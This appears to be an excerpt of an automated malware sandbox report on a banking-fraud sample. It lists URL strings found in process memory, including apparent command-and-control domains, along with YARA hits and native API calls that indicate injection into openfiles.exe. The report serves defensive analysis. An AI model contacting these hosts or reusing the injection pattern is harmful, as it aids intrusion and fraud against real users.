6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Mon, 25 Nov 2024 08:46:01 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31

Source: UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000006D8A000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.000000000648A000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://assets.lolipop.jp/img/bnr/bnr_lolipop_ad_001.gif
Source: UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000006D8A000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.000000000648A000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://js.ad-stir.com/js/adstir.js?20130527
Source: openfiles.exe, 00000007.00000002.4125167672.0000000005B1E000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://pip1-loh.com/
Source: IETC-24017.exe, 00000000.00000002.1683716815.0000000002746000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: IETC-24017.exe	String found in binary or memory: http://tempuri.org/DataSet1.xsd
Source: UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000005DD6000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.00000000054D6000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.amayavp.xyz/572a/?ifzt=hz/gBsBCliEB3liRCjDcUFpXpjm75vqUHY7uUC9CoicjvHiRwDII6Rr7fwqPQOBPL5
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000006BF8000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.00000000062F8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.canadavinreport.site/vvzz/?ifzt=cUYTrm/9WoUGLtXnEfHvigyvVWYscXEqz9Hmi7WWzB
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: UFUUPGsATdE.exe, 00000006.00000002.4130326224.0000000007D05000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.cssa.auction
Source: UFUUPGsATdE.exe, 00000006.00000002.4130326224.0000000007D05000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.cssa.auction/omhm/
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: IETC-24017.exe, 00000000.00000002.1690156355.0000000005190000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htmtK
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: openfiles.exe, 00000007.00000002.4125167672.000000000598C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.icann.org/en/resources/compliance/complaints/registrars/contact-verification
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: IETC-24017.exe, 00000000.00000002.1690231019.00000000051D0000.00000004.00000020.00020000.00000000.sdmp, IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: openfiles.exe, 00000007.00000002.4126876869.0000000007988000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: openfiles.exe, 00000007.00000002.4126876869.0000000007988000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: openfiles.exe, 00000007.00000002.4126876869.0000000007988000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: openfiles.exe, 00000007.00000002.4126876869.0000000007988000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000005C44000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.0000000005344000.00000004.10000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4126711874.0000000007630000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000000B.00000002.2123173632.0000000027544000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://code.jquery.com/jquery-3.5.1.min.js
Source: openfiles.exe, 00000007.00000002.4126876869.0000000007988000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: openfiles.exe, 00000007.00000002.4126876869.0000000007988000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: openfiles.exe, 00000007.00000002.4126876869.0000000007988000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000005C44000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.0000000005344000.00000004.10000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4126711874.0000000007630000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000000B.00000002.2123173632.0000000027544000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://gamesfunny.top$
Source: openfiles.exe, 00000007.00000002.4123887775.0000000002B91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.li
Source: openfiles.exe, 00000007.00000002.4123887775.0000000002B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: openfiles.exe, 00000007.00000002.4123887775.0000000002B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: openfiles.exe, 00000007.00000002.4123887775.0000000002B91000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000007.00000002.4123887775.0000000002B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: openfiles.exe, 00000007.00000002.4123887775.0000000002B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: openfiles.exe, 00000007.00000002.4123887775.0000000002B91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: openfiles.exe, 00000007.00000003.2004598316.000000000796C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000006D8A000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.000000000648A000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://lolipop.jp/
Source: UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000006D8A000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.000000000648A000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://minne.com/?utm_source=lolipop&utm_medium=banner&utm_campaign=synergy&utm_content=404
Source: UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000006D8A000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.000000000648A000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://pepabo.com/
Source: UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000005C44000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.0000000005344000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2123173632.0000000027544000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://playchill.top/api/axgames/request?domain=$
Source: UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000005C44000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.0000000005344000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2123173632.0000000027544000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://securepubads.g.doubleclick.net/tag/js/gpt.js
Source: UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000006D8A000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.000000000648A000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://static.minne.com/files/banner/minne_600x500
Source: UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000006D8A000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.000000000648A000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.lolipop.jp/hc/ja/articles/360049132953
Source: openfiles.exe, 00000007.00000002.4126876869.0000000007988000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: openfiles.exe, 00000007.00000002.4125167672.000000000661C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.strato.de

E-Banking Fraud

Source: Yara match	File source: 3.2.IETC-24017.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.IETC-24017.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1821676970.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4124676785.0000000004740000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4123746961.0000000000790000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4130326224.0000000007C90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1822234803.00000000016B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4124625092.00000000046F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4124804278.0000000004D20000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1824149461.0000000003920000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0042C973 NtClose,	3_2_0042C973
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842B60 NtClose,LdrInitializeThunk,	3_2_01842B60
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842DF0 NtQuerySystemInformation,LdrInitializeThunk,	3_2_01842DF0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842C70 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_01842C70
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018435C0 NtCreateMutant,LdrInitializeThunk,	3_2_018435C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01844340 NtSetContextThread,	3_2_01844340
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01844650 NtSuspendThread,	3_2_01844650
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842B80 NtQueryInformationFile,	3_2_01842B80
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842BA0 NtEnumerateValueKey,	3_2_01842BA0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842BE0 NtQueryValueKey,	3_2_01842BE0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842BF0 NtAllocateVirtualMemory,	3_2_01842BF0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842AB0 NtWaitForSingleObject,	3_2_01842AB0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842AD0 NtReadFile,	3_2_01842AD0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842AF0 NtWriteFile,	3_2_01842AF0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842DB0 NtEnumerateKey,	3_2_01842DB0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842DD0 NtDelayExecution,	3_2_01842DD0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842D00 NtSetInformationFile,	3_2_01842D00
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842D10 NtMapViewOfSection,	3_2_01842D10
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842D30 NtUnmapViewOfSection,	3_2_01842D30
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842CA0 NtQueryInformationToken,	3_2_01842CA0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842CC0 NtQueryVirtualMemory,	3_2_01842CC0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842CF0 NtOpenProcess,	3_2_01842CF0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842C00 NtQueryInformationProcess,	3_2_01842C00
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842C60 NtCreateKey,	3_2_01842C60
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842F90 NtProtectVirtualMemory,	3_2_01842F90
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842FA0 NtQuerySection,	3_2_01842FA0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842FB0 NtResumeThread,	3_2_01842FB0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842FE0 NtCreateFile,	3_2_01842FE0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842F30 NtCreateSection,	3_2_01842F30
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842F60 NtCreateProcessEx,	3_2_01842F60
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842E80 NtReadVirtualMemory,	3_2_01842E80
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842EA0 NtAdjustPrivilegesToken,	3_2_01842EA0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842EE0 NtQueueApcThread,	3_2_01842EE0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842E30 NtWriteVirtualMemory,	3_2_01842E30
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01843090 NtSetValueKey,	3_2_01843090
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01843010 NtOpenDirectoryObject,	3_2_01843010
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018439B0 NtGetContextThread,	3_2_018439B0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01843D10 NtOpenProcessToken,	3_2_01843D10
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01843D70 NtOpenThread,	3_2_01843D70
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A4650 NtSuspendThread,LdrInitializeThunk,	7_2_049A4650
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A4340 NtSetContextThread,LdrInitializeThunk,	7_2_049A4340
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2CA0 NtQueryInformationToken,LdrInitializeThunk,	7_2_049A2CA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2C70 NtFreeVirtualMemory,LdrInitializeThunk,	7_2_049A2C70
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2C60 NtCreateKey,LdrInitializeThunk,	7_2_049A2C60
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2DD0 NtDelayExecution,LdrInitializeThunk,	7_2_049A2DD0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2DF0 NtQuerySystemInformation,LdrInitializeThunk,	7_2_049A2DF0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2D10 NtMapViewOfSection,LdrInitializeThunk,	7_2_049A2D10
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2D30 NtUnmapViewOfSection,LdrInitializeThunk,	7_2_049A2D30
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2E80 NtReadVirtualMemory,LdrInitializeThunk,	7_2_049A2E80
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2EE0 NtQueueApcThread,LdrInitializeThunk,	7_2_049A2EE0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2FB0 NtResumeThread,LdrInitializeThunk,	7_2_049A2FB0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2FE0 NtCreateFile,LdrInitializeThunk,	7_2_049A2FE0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2F30 NtCreateSection,LdrInitializeThunk,	7_2_049A2F30
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2AD0 NtReadFile,LdrInitializeThunk,	7_2_049A2AD0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2AF0 NtWriteFile,LdrInitializeThunk,	7_2_049A2AF0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2BA0 NtEnumerateValueKey,LdrInitializeThunk,	7_2_049A2BA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	7_2_049A2BF0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2BE0 NtQueryValueKey,LdrInitializeThunk,	7_2_049A2BE0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2B60 NtClose,LdrInitializeThunk,	7_2_049A2B60
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A35C0 NtCreateMutant,LdrInitializeThunk,	7_2_049A35C0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A39B0 NtGetContextThread,LdrInitializeThunk,	7_2_049A39B0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2CC0 NtQueryVirtualMemory,	7_2_049A2CC0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2CF0 NtOpenProcess,	7_2_049A2CF0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2C00 NtQueryInformationProcess,	7_2_049A2C00
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2DB0 NtEnumerateKey,	7_2_049A2DB0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2D00 NtSetInformationFile,	7_2_049A2D00
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2EA0 NtAdjustPrivilegesToken,	7_2_049A2EA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2E30 NtWriteVirtualMemory,	7_2_049A2E30
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2F90 NtProtectVirtualMemory,	7_2_049A2F90
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2FA0 NtQuerySection,	7_2_049A2FA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2F60 NtCreateProcessEx,	7_2_049A2F60
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2AB0 NtWaitForSingleObject,	7_2_049A2AB0
